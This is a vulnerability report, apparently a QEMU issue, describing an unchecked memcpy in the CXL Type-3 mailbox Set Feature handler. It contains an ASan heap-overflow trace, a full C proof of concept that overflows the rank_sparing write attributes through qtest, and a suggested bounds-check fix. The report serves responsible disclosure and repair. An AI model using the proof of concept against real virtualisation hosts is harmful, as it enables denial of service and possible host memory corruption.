hw/cxl: cmd_features_set_feature() still allows oversized writes in remaining Set Feature branches
I can still trigger a host-side AddressSanitizer heap-buffer-overflow in
current QEMU master through the CXL Type-3 mailbox Set Feature path.
This is not the same already-fixed case as commit
`c1c4d6b38b13952b0a9e2d7393e1ccc70b2615a4` ("hw/cxl: Check that writes do not
go beyond end of target attributes"). That change added bounds checks for the
`patrol_scrub` and `ecs` Set Feature branches, but the remaining branches still
lack the same offset+length validation.
I reproduced this on current master in the following environment:
- host: x86_64
- commit: `aa15257174da180c6a8a9d58f87319cfe61c5520`
- describe: `v11.0.0-269-gaa15257174`
- build: `../configure --enable-asan --enable-ubsan --target-list=x86_64-softmmu`
The remaining vulnerable Set Feature branches include at least:
- `soft_ppr`
- `hard_ppr`
- `cacheline_sparing`
- `row_sparing`
- `bank_sparing`
- `rank_sparing`
On current master, the attached PoC drives the `rank_sparing` branch with a
full 2048-byte mailbox payload. The target object is only
`CXLMemSparingWriteAttrs`, so the unchecked `memcpy()` overruns the write
attribute storage and ASan aborts the host process.
ASan output:
```text
==1800002==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x77a1779ff380 at pc 0x77a19763a2c3 bp 0x7ffe3b86ecb0 sp 0x7ffe3b86e458
WRITE of size 2016 at 0x77a1779ff380 thread T0
#0 0x77a19763a2c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x566447f0a0fc in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x566447f0a0fc in cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1908
#3 0x566447f0a0fc in cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1706
#4 0x566447f16c67 in cxl_process_cci_message ../hw/cxl/cxl-mailbox-utils.c:4622
#5 0x566447ee239f in mailbox_reg_write ../hw/cxl/cxl-device-utils.c:209
#6 0x566448a162b1 in memory_region_write_accessor ../system/memory.c:492
#7 0x566448a20cb5 in access_with_adjusted_size ../system/memory.c:568
#8 0x566448a269c1 in memory_region_dispatch_write ../system/memory.c:1555
#9 0x566448a619eb in flatview_write_continue_step ../system/physmem.c:3263
#10 0x566448a61f20 in flatview_write_continue ../system/physmem.c:3293
#11 0x566448a61f20 in flatview_write ../system/physmem.c:3324
#12 0x566448a64118 in address_space_write ../system/physmem.c:3444
#13 0x566448a7d944 in qtest_process_command ../system/qtest.c:538
#14 0x566448a81ca7 in qtest_process_inbuf ../system/qtest.c:778
#15 0x5664496fd0f7 in tcp_chr_read ../chardev/char-socket.c:511
#16 0x77a197160c43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
```
PoC:
```c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define CXL_T3_BAR2 0x10000000ULL
#define MAILBOX_BASE (CXL_T3_BAR2 + 0x88)
#define PAYLOAD_BASE (MAILBOX_BASE + 0x20)
static const uint8_t rank_sparing_uuid[16] = {
0x34, 0xdb, 0xaf, 0xf5, 0x05, 0x52, 0x42, 0x81,
0x8f, 0x76, 0xda, 0x0b, 0x5e, 0x7a, 0x76, 0xa7,
};
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void xwrite_all(int fd, const char *buf, size_t len)
{
while (len) {
ssize_t n = write(fd, buf, len);
if (n < 0) {
if (errno == EINTR) {
continue;
}
die("write");
}
buf += n;
len -= n;
}
}
static void qtest_cmd(int fd, const char *fmt, ...)
{
char cmd[256];
char reply[256];
va_list ap;
size_t off = 0;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
xwrite_all(fd, cmd, strlen(cmd));
xwrite_all(fd, "\n", 1);
while (off + 1 < sizeof(reply)) {
ssize_t n = read(fd, &reply[off], 1);
if (n < 0) {
if (errno == EINTR) {
continue;
}
die("read");
}
if (n == 0) {
fprintf(stderr, "qtest socket closed after command: %s\n", cmd);
exit(1);
}
if (reply[off] == '\n') {
reply[off] = '\0';
break;
}
off++;
}
if (strncmp(reply, "OK", 2) != 0) {
fprintf(stderr, "unexpected qtest reply for %s: %s\n", cmd, reply);
exit(1);
}
}
static void make_file(const char *path, off_t size)
{
int fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0600);
if (fd < 0) {
die("open backing file");
}
if (ftruncate(fd, size) < 0) {
die("ftruncate");
}
close(fd);
}
static pid_t spawn_qemu(const char *qemu, const char *sock_path,
const char *mem_path, const char *lsa_path)
{
pid_t pid = fork();
if (pid < 0) {
die("fork");
}
if (pid == 0) {
char *argv[] = {
(char *)qemu,
"-machine", "q35,cxl=on,accel=qtest",
"-display", "none",
"-nodefaults",
"-monitor", "none",
"-serial", "none",
"-qtest", NULL,
"-object", NULL,
"-object", NULL,
"-device", "cxl-type3,bus=pcie.0,persistent-memdev=cxl-mem0,lsa=lsa0,id=pmem0",
NULL,
};
char qtest_arg[256];
char mem_arg[512];
char lsa_arg[512];
snprintf(qtest_arg, sizeof(qtest_arg), "unix:%s", sock_path);
snprintf(mem_arg, sizeof(mem_arg),
"memory-backend-file,id=cxl-mem0,mem-path=%s,size=256M",
mem_path);
snprintf(lsa_arg, sizeof(lsa_arg),
"memory-backend-file,id=lsa0,mem-path=%s,size=1M",
lsa_path);
argv[11] = qtest_arg;
argv[13] = mem_arg;
argv[15] = lsa_arg;
unsetenv("QTEST_LOG");
unsetenv("QTEST_TRACE");
execvp(qemu, argv);
perror("execvp");
_exit(1);
}
return pid;
}
int main(int argc, char **argv)
{
char tmpdir[] = "/tmp/cxloobXXXXXX";
char sock_path[256];
char mem_path[256];
char lsa_path[256];
struct sockaddr_un addr;
struct pollfd pfd;
uint8_t payload[2048] = { 0 };
int server_fd, conn_fd;
pid_t pid;
int status;
const char *qemu = argc > 1 ? argv[1] : "qemu-system-x86_64";
size_t i;
if (!mkdtemp(tmpdir)) {
die("mkdtemp");
}
snprintf(sock_path, sizeof(sock_path), "%s/qtest.sock", tmpdir);
snprintf(mem_path, sizeof(mem_path), "%s/mem0.bin", tmpdir);
snprintf(lsa_path, sizeof(lsa_path), "%s/lsa0.bin", tmpdir);
make_file(mem_path, 256 * 1024 * 1024);
make_file(lsa_path, 1024 * 1024);
server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (server_fd < 0) {
die("socket");
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
if (strlen(sock_path) >= sizeof(addr.sun_path)) {
fprintf(stderr, "socket path too long\n");
return 1;
}
memcpy(addr.sun_path, sock_path, strlen(sock_path) + 1);
unlink(sock_path);
if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
die("bind");
}
if (listen(server_fd, 1) < 0) {
die("listen");
}
pid = spawn_qemu(qemu, sock_path, mem_path, lsa_path);
conn_fd = accept(server_fd, NULL, NULL);
if (conn_fd < 0) {
die("accept");
}
qtest_cmd(conn_fd, "outl 0xcf8 0x80000818");
qtest_cmd(conn_fd, "outl 0xcfc 0x%08x", (unsigned)CXL_T3_BAR2);
qtest_cmd(conn_fd, "outl 0xcf8 0x8000081c");
qtest_cmd(conn_fd, "outl 0xcfc 0x00000000");
qtest_cmd(conn_fd, "outl 0xcf8 0x80000804");
qtest_cmd(conn_fd, "outl 0xcfc 0x00000002");
memcpy(payload, rank_sparing_uuid, sizeof(rank_sparing_uuid));
payload[22] = 1;
memset(payload + 32, 0x41, sizeof(payload) - 32);
for (i = 0; i < sizeof(payload); i++) {
qtest_cmd(conn_fd, "writeb 0x%llx 0x%02x",
(unsigned long long)(PAYLOAD_BASE + i), payload[i]);
}
qtest_cmd(conn_fd, "writeq 0x10000090 0x8000502");
qtest_cmd(conn_fd, "writel 0x1000008c 0x1");
pfd.fd = conn_fd;
pfd.events = POLLIN | POLLHUP | POLLERR;
poll(&pfd, 1, 500);
if (waitpid(pid, &status, WNOHANG) == 0) {
fprintf(stderr, "QEMU is still alive. The build is likely patched.\n");
kill(pid, SIGTERM);
waitpid(pid, &status, 0);
return 0;
}
if (WIFSIGNALED(status)) {
fprintf(stderr, "QEMU terminated by signal %d\n", WTERMSIG(status));
} else if (WIFEXITED(status)) {
fprintf(stderr, "QEMU exited with status %d\n", WEXITSTATUS(status));
}
close(conn_fd);
close(server_fd);
unlink(sock_path);
unlink(mem_path);
unlink(lsa_path);
rmdir(tmpdir);
return 0;
}
```
Build and run:
```text
gcc -O2 -Wall -Wextra -o qemu-cxl-rank-sparing-oob-poc qemu-cxl-rank-sparing-oob-poc.c
./qemu-cxl-rank-sparing-oob-poc ./build-asan/qemu-system-x86_64
```
Suggested fix:
The minimal fix is to extend the same per-branch offset+payload-length
validation already used by `patrol_scrub` and `ecs` to the remaining Set
Feature branches, so oversized requests fail with
`CXL_MBOX_INVALID_PAYLOAD_LENGTH` instead of overflowing the target
write-attribute buffer.
In practice that means computing the covered range once:
```c
size_t end_offset = (size_t)hdr->offset + bytes_to_copy;
```
and then applying the corresponding check before each `memcpy()` in the
remaining branches, for example:
```c
if (end_offset > sizeof(ct3d->rank_sparing_wr_attrs)) {
return CXL_MBOX_INVALID_PAYLOAD_LENGTH;
}
```
The same pattern should be applied to at least:
- `soft_ppr`
- `hard_ppr`
- `cacheline_sparing`
- `row_sparing`
- `bank_sparing`
- `rank_sparing`
issue